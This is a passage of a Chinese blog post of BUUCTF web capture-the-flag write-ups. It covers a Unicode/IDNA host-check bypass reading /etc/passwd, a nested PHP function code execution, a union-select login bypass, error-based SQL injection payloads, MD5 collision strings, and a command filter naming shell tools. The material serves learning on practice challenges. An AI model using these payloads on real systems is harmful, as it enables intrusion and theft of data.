    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass
 
def getUrl(url):
    url=url
    host=parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts=list(urlsplit(url))
    host=parts[1]
    if host == 'suctf.cc':
        return False
    newhost=[]
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1]='.'.join(newhost)
    finalUrl=urlunsplit(parts).split(' ')[0]
    host=parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False
 
 
if __name__=='__main__':
    get_unicode()

字符,用于代替c:

str: ℂ unicode: \u2102
str: ℭ unicode: \u212d
str: Ⅽ unicode: \u216d
str: ⅽ unicode: \u217d
str: Ⓒ unicode: \u24b8
str: ⓒ unicode: \u24d2
str: C unicode: \uff23
str: c unicode: \uff43

BUUCTF(web:1-50)_第105张图片

测试代码:

from urllib.parse import urlsplit,urlunsplit, unquote
from urllib import parse,request

def getUrl():
    url = "file://suctf.cℭ/../../../../../etc/passwd"
    host = parse.urlparse(url).hostname
    test = parse.urlparse(url)
    print("urlparse处理后:")
    count = 0
    for i in test:
        print(i)
        count+=1
    print(count)
    parts = list(urlsplit(url))
    print("将其放入列表后:")
    host = parts[1]
    count=0
    for i in parts:
        print(i)
        count+=1
    print(count)
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    print("经过urlunsplit处理后:")
    print(urlunsplit(parts))
    test = urlunsplit(parts).split(' ')
    count = 0
    for i in test:
        print(i)
        count+=1
    print(count)
    finalUrl=test[0]
    host = parse.urlparse(finalUrl).hostname
    print("主机名字:",host)
    if host == 'suctf.cc':
        return "lalala"
    else:
        return "我扌 your problem? 333"

if __name__ == "__main__":
    getUrl()

[GXYCTF2019]禁止套娃

打开网页,查看源代码发现就一句话:
BUUCTF(web:1-50)_第106张图片
burp抓包:
BUUCTF(web:1-50)_第107张图片
还是没有发现什么,使用dirseach扫一下:
感觉是git泄露:
BUUCTF(web:1-50)_第108张图片
用githack下载了一个index.php:
在这里插入图片描述
查看:
BUUCTF(web:1-50)_第109张图片
分析
1.要我们get传一个exp参数
2.传入的参数中不能包含{data,php,filter,phar}这几个协议
3.如果我们传入的参数是a(b(c()));这种套娃代码就可以绕过
4.如果我们传入的参数中没有et/na/info。。。。这些字符,就执行我们的代码

到这里就没有思路了。。。看了wp:

localeconv() 函数返回一包含本地数字及货币格式信息的数组。
scandir() 列出 images 目录中的文件和目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse()以相反的元素顺序返回数组。
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。

可以看到localeconv()这个函数的第一个就是点
在这里插入图片描述
那么我们查看目录的代码就是:
print_r(scandir(pos(localeconv())));
在这里插入图片描述
可以看到flag在第三个:
show_source(next(array_reverse(scandir(pos(localeconv())))));
在这里插入图片描述

[GXYCTF2019]BabySQli

burp抓包:
BUUCTF(web:1-50)_第110张图片
发现username包裹在一对单引号中,然后返回的数据中有一串只有大写字母和数字加密的东西,在网上查到这是base32编码,由于有报错可以尝试报错注入:
发现有waf:在这里插入图片描述
然后fuzz一下,发现过滤的东西比较少但是把(),or过滤了:
BUUCTF(web:1-50)_第111张图片
经过测试使用union select 查information.schema不行

将之前的那段加密文件解密看看:
select * from user where username = ‘$name’

还是没什么思路,看了网上的wp:
这道题考察的是union select的分开检查的机制:
union select会创建一个虚拟表,如果我们在这道题中使用:

name=' union select 1,'admin','202cb962ac59075b964b07152d234b70'%23

那么这个时候就会存在一类似这样的虚拟表:
BUUCTF(web:1-50)_第112张图片

然后我们后面输入的密码经过MD5加密后再去跟password中的值进行对比,从github上的源代码可以看到这一点:
BUUCTF(web:1-50)_第113张图片
payload:

name=' union select 1,'admin','202cb962ac59075b964b07152d234b70'%23&pw=123
这个语句会生成一个username为admin,password为202cb962ac59075b964b07152d234b70的虚表,然后我们后面的pw再经过md5加密与password做对比

[安洵杯 2019]easy_web

打开网页:
BUUCTF(web:1-50)_第114张图片
查看源代码:

base64解密:
BUUCTF(web:1-50)_第115张图片
没发现什么,但是在源代码最后看到了个:
在这里插入图片描述
再看看url中的参数:
在这里插入图片描述
img那里发现是个base64编码的,解码看看:
BUUCTF(web:1-50)_第116张图片
尝试把index.php进行这样的编码看看:
BUUCTF(web:1-50)_第117张图片
发现返回了一段base64编码的东西:
在这里插入图片描述
解码:

';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "";
    echo "
"; } echo $cmd; echo "
"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "
"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?>

分析:

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "
"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } }

1.可以看到这里要我们传入a,b,cmd三个参数,a,b都是以post的方式传入
2.对于我们传入的cmd参数进行了正则表达匹配,几乎所有的命令都不能用了,但是没有过滤dir和sort
3.对a和b进行了MD5的强类型比较,同时a和b都要是字符串,因此弱类型碰撞以及数组绕过都不行了
4.如果绕过了,则会执行把cmd当作命令来执行,再打印出内容,因为在linux中``的内容为命令

解题步骤:
1.对于cmd我们可以传入 sort%20/flag来获取flag
2.对于a,b我们可以使用MD5真实碰撞来绕过

不知道为什么我在上网是找了好多个payload就是绕不过去。。。。

a=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D1B%A9%11U%DD%AF%15vu%0F%DA%F6%7Dd%8B%DE%0A%AD%91r%DE%8De%07%9AC%AE%2A%BAF%DBw%BD%BB%E3%DE%E0%AD4gZ_%5C%13%1E%19F%28%7B%A8%D1%7F%2C%17%9BO%12%B4%8A%2B%DA%B9%E1%0F%0F%EBAT%07%213kujM%9DS%97%02%B3M%5DHd%DC%91%C1%AB%C3+%E8%B7_%A8%C7%D3%FDz%E8%9F%021%1E4%01%C83%12%0C%1B%8C%F6%CA%CA%CA%93K%40%5D%94%C8%AE%D0%A6%09Q%2B&b=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D1B%A9%11U%DD%AF%15vu%0F%DA%F6%7Dd%8B%DE%0A%AD%11r%DE%8De%07%9AC%AE%2A%BAF%DBw%BD%BB%E3%DE%E0%AD4gZ_%5C%13%9E%19F%28%7B%A8%D1%7F%2C%17%9BO%12%B4%0A%2B%DA%B9%E1%0F%0F%EBAT%07%213kujM%9DS%97%02%B3M%5D%C8d%DC%91%C1%AB%C3+%E8%B7_%A8%C7%D3%FDz%E8%9F%021%1E4%01%C83%12%8C%1A%8C%F6%CA%CA%CA%93K%40%5D%94%C8%AEP%A6%09Q%2B

BUUCTF(web:1-50)_第118张图片
我太难了

[ASIS 2019]Unicorn shop

查看源代码:
BUUCTF(web:1-50)_第119张图片
这道题考察的是unicode的安全性问题:
我们尝试正常买第一个商品
在这里插入图片描述
BUUCTF(web:1-50)_第120张图片
告诉我们商品不对。。。
但是这个价格明显是大于标价的,那么我们用3.0试一下
BUUCTF(web:1-50)_第121张图片
告诉我们只允许输入一个字符,而这些商品按照正常的输入价格,只有前三个能够用一个字符来购买:
BUUCTF(web:1-50)_第122张图片
那么题目肯定是想我们买第四个商品了,再看这题的名字Unicorn,这不是在暗示我们Unicode嘛:
这里找到一个大于1337的字符
BUUCTF(web:1-50)_第123张图片
输入4,፼,得到了flag

[极客大挑战 2019]HardSQL

burp抓包,有报错回显,判断是单引号包裹:
BUUCTF(web:1-50)_第124张图片
尝试万能密码。。。。
BUUCTF(web:1-50)_第125张图片
发现过滤了很多:
BUUCTF(web:1-50)_第126张图片
并且空格,%0a,%20,/**/,/*!*/都被过滤了,但是()没有过滤,=被过滤了,但是没有过滤like,因此我们使用报错注入:
爆表名:

username=admin'^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1)%23&password=admin

爆列名:

username=admin'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)%23&password=admin

爆数据:

username=admin'^updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1)%23&password=admin
username=admin'^updatexml(1,concat(0x7e,right((select(group_concat(password))from(H4rDsq1)),31),0x7e),1)%23&password=admin

flag:

flag{a635bca6-b05b-4762-8530-82
a6-b05b-4762-8530-8203e8ae3c27}
flag{a635bca6-b05b-4762-8530-8203e8ae3c27}

[CISCN2019 华北赛区 Day1 Web1]Dropbox

你可能感兴趣的:(BUUCTF(web:1-50))